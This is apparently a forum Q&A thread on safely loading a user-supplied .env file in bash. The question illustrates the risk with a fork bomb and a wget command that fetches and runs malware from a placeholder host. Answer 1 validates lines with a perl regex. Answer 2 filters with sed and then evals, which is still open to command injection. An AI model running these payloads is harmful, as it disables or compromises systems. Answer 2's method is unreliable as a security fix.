How to load safely a .env file given from command line argument?

Question

I have the following script:

#!/usr/bin/env bash

if [ "$#" -eq 0 ]; then
  echo "No argument has been provided"
  exit -1
fi

ENV_FILE=$1

source $ENV_FILE

As you can see script's user provides a .env file that must contain environmental variables. The $ENV_FILE contains the path of the .env file that contains theenvironmental variables.

For my script the .env file needs to contain key-pair value such as:

KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3

But on the code above seem like a bad idea to just source a random text file that is provided for environmental variable.

For example if the .env file is:

KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3

:(){ :|: & };:

Or if it contains something like:

KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3

wget https://malicisoussite.com/mallware -o /usr/bin/mallware
chmod +x ./mallware
./mallware

As you can see, the source command just loads the .env file as a bash script. Therefore, it can contain malicious code as well beyond the expected environmental variable assignment.

So how I can ensure that file only contains KEY=VALUE pairs?

Answer 1

One way to sanitize your input would be:

#!/usr/bin/env bash

### Your previous code here ###

env_file=$1

if ! perl -ne '/^\w+=[\047\042\w\s\.-]+\s*$|^\s*$/
        or die "Suspicious line $_"' "$env_file"
then
    msg="suspicious source file detected from $env_file"
    logger -t $0 "$msg"
    mail -s "$0 $msg" [email protected] < "$env_file"
    exit 1
else
    . "$env_file"
fi

It then allow only variations on :

key=value
KEY='VALUE'
Key="v"
K_e_y=value
k=v 
k=_v_a_l_u_e
k=v-a-l-u-e
k='v a l u e'
...

The regular expression matches as follows:

Node	Explanation
^	the beginning of the string
\w+	word characters (a-z, A-Z, 0-9, _) (1 or more times (matching the most amount possible))
=	=
[\047\042\w\s\.-]+	any character of: '\047', '\042', word characters (a-z, A-Z, 0-9, _), whitespace (\n, \r, \t, \f, and " "), '.', '-' (1 or more times (matching the most amount possible))
\s*	whitespace (\n, \r, \t, \f, and " ") (0 or more times (matching the most amount possible))
$	before an optional \n, and the end of the string
|	OR
^	the beginning of the string
\s*	whitespace (\n, \r, \t, \f, and " ") (0 or more times (matching the most amount possible))
$	before an optional \n, and the end of the string

Answer 2

A better approach seems to me this one: https://askubuntu.com/a/886884

We uses a typical sed and eval in order to provide environmental variables:

#!/usr/bin/env bash

if [ "$#" -eq 0 ]; then
  echo "No argument has been provided"
  exit -1
fi

ENV_FILE=$1

if [ ! -f "$ENV_FILE" ]; then
  echo "No ENV file has been provided"
  exit -1
fi

ENV_CONTENT=$(cat $ENV_FILE | sed -r '/[^=]+=[^=]+/!d' | sed -r 's/\s+=\s/=/g')
eval $ENV_CONTENT

If eval not supported then:

#!/usr/bin/env bash

if [ "$#" -eq 0 ]; then
  echo "No argument has been provided"
  exit -1
fi

ENV_FILE=$1

if [ ! -f "$ENV_FILE" ]; then
  echo "No ENV file has been provided"
  exit -1
fi

cat $ENV_FILE | sed -r '/[^=]+=[^=]+/!d' | sed -r 's/\s+=\s/=/g' > $ENV_FILE.sane

source $ENV_FILE.sane